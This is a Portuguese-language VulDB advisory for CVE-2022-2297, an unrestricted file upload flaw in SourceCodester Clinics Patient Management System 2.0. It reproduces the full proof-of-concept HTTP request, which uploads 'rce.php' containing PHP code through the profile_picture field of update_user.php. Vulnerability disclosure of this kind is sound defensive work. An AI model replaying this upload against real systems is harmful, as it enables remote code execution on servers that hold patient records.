SourceCodester Clinics Patient Management System 2.0 update_user.php?user_id=1 profile_picture Elevação de Privilégios
| CVSS Meta Pontuação Temporária | Preço atual do exploit (≈) | Nota de Interesse CTI |
|---|---|---|
| 6.9 | $0-$5k | 0.00 |
Sumário
Uma vulnerabilidade foi encontrada em SourceCodester Clinics Patient Management System 2.0. Foi declarada como crítico. O elemento afetado é uma função não identificada no arquivo /pms/update_user.php?user_id=1. A utilização do parâmetro profile_picture com o valor <?php phpinfo();?> pode causar Elevação de Privilégios.
Esta vulnerabilidade é identificada como CVE-2022-2297. Existe a possibilidade de executar o ataque de forma remota. Além disso, um exploit está disponível.
Detalhes
Uma vulnerabilidade foi encontrada em SourceCodester Clinics Patient Management System 2.0. Foi declarada como crítico. O elemento afetado é uma função não identificada no arquivo /pms/update_user.php?user_id=1. A utilização do parâmetro profile_picture com o valor <?php phpinfo();?> pode causar Elevação de Privilégios. Ao utilizar CWE para declarar o problema, isso direciona para CWE-434. A falha foi publicada 04/07/2022. O comunicado foi disponibilizado para download em github.com.
Esta vulnerabilidade é identificada como CVE-2022-2297. Existe a possibilidade de executar o ataque de forma remota. Há detalhes técnicos disponíveis. Esta vulnerabilidade apresenta popularidade inferior à média. Além disso, um exploit está disponível. O exploit foi exposto ao público e pode ser aproveitado. No momento, o preço atual de um exploit pode estar em torno de USD $0-$5k atualmente. O projecto MITRE ATT&CK utiliza a técnica de ataque T1608.002 para esta edição.
Foi declarado como prova de conceito. O exploit está disponível para download em github.com. Como 0-day, o preço estimado no mercado clandestino era em torno de $0-$5k. Segue o código empregado pelo exploit:
POST /pms/update_user.php?user_id=1 HTTP/1.1 Host: localhost Content-Length: 828 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHTbuuF5mdaA9K4Fw User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/pms/update_user.php?user_id=1 Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: PHPSESSID=kbnmikgfhdo4qe7crgidipoqc9 Connection: close------WebKitFormBoundaryHTbuuF5mdaA9K4Fw Content-Disposition: form-data; name="hidden_id"
1 ------WebKitFormBoundaryHTbuuF5mdaA9K4Fw Content-Disposition: form-data; name="display_name"
Administrator ------WebKitFormBoundaryHTbuuF5mdaA9K4Fw Content-Disposition: form-data; name="username"
admin ------WebKitFormBoundaryHTbuuF5mdaA9K4Fw Content-Disposition: form-data; name="password"
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw Content-Disposition: form-data; name="profile_picture"; filename="rce.php" Content-Type: application/octet-stream
<?php phpinfo();?> ------WebKitFormBoundaryHTbuuF5mdaA9K4Fw Content-Disposition: form-data; name="save_user"
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw--
Produto
Tipo
Fabricante
Nome
Versão
Licença
Site
- Fabricante: https://www.sourcecodester.com/
CPE 2.3
CPE 2.2
CVSSv4
VulDB Vetor: 🔍VulDB Fiabilidade: 🔍
CVSSv3
VulDB Meta Pontuação Base: 7.1VulDB Meta Pontuação Temporária: 6.9
VulDB Pontuação Base: 6.3
VulDB Pontuação Temporária: 5.7
VulDB Vetor: 🔍
VulDB Fiabilidade: 🔍
NVD Pontuação Base: 8.8
NVD Vetor: 🔍
CNA Pontuação Base: 6.3
CNA Vetor (VulDB): 🔍
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| Vector | Complexidade | Autenticação | Confidencialidade | Integridade | Disponibilidade |
|---|---|---|---|---|---|
| Desbloquear | Desbloquear | Desbloquear | Desbloquear | Desbloquear | Desbloquear |
| Desbloquear | Desbloquear | Desbloquear | Desbloquear | Desbloquear | Desbloquear |
| Desbloquear | Desbloquear | Desbloquear | Desbloquear | Desbloquear | Desbloquear |
VulDB Pontuação Base: 🔍
VulDB Pontuação Temporária: 🔍
VulDB Fiabilidade: 🔍
NVD Pontuação Base: 🔍
Exploração
Classe: Elevação de PrivilégiosCWE: CWE-434 / CWE-284 / CWE-266
CAPEC: 🔍
ATT&CK: 🔍
Físico: Não
Local: Não
Remoto: Sim
Disponibilidade: 🔍
Acesso: Público
Estado: Prova de conceito
Descarregar: 🔍
EPSS Score: 🔍
EPSS Percentile: 🔍
Tendência de preços: 🔍
Estimativa de preço atual: 🔍
| 0-Day | Desbloquear | Desbloquear | Desbloquear | Desbloquear |
|---|---|---|---|---|
| Hoje | Desbloquear | Desbloquear | Desbloquear | Desbloquear |
Inteligência de ameaças
Interesse: 🔍Atores ativos: 🔍
Grupos APT ativos: 🔍
Contramedidas
Recomendação: nenhuma medida conhecidaEstado: 🔍
Tempo 0-dia: 🔍
Linha do tempo
04/07/2022 🔍04/07/2022 🔍
04/07/2022 🔍
07/09/2024 🔍
Fontes
Fabricante: sourcecodester.comAconselhamento: github.com
Estado: Não definido
CVE: CVE-2022-2297 (🔍)
GCVE (CVE): GCVE-0-2022-2297
GCVE (VulDB): GCVE-100-203178
scip Labs: https://www.scip.ch/en/?labs.20161013
Entrada
Criado: 04/07/2022 07h12Atualizado: 07/09/2024 15h18
Ajustamentos: 04/07/2022 07h12 (41), 04/07/2022 07h13 (4), 18/07/2022 14h55 (2), 18/07/2022 14h58 (28), 07/09/2024 15h18 (15)
Completo: 🔍
Submissor: cyberthoth
Cache ID: 216::103
Submeter
Aceite
- Submeter #40500: Clinic's Patient Management System 2.0 Unrestricted file upload (RCE) (de cyberthoth)
Duplicado
If you want to get best quality of vulnerability data, you may have to visit VulDB.
Ainda sem comentários. Idiomas: pt + es + en.
Por favor, inicie sessão para comentar.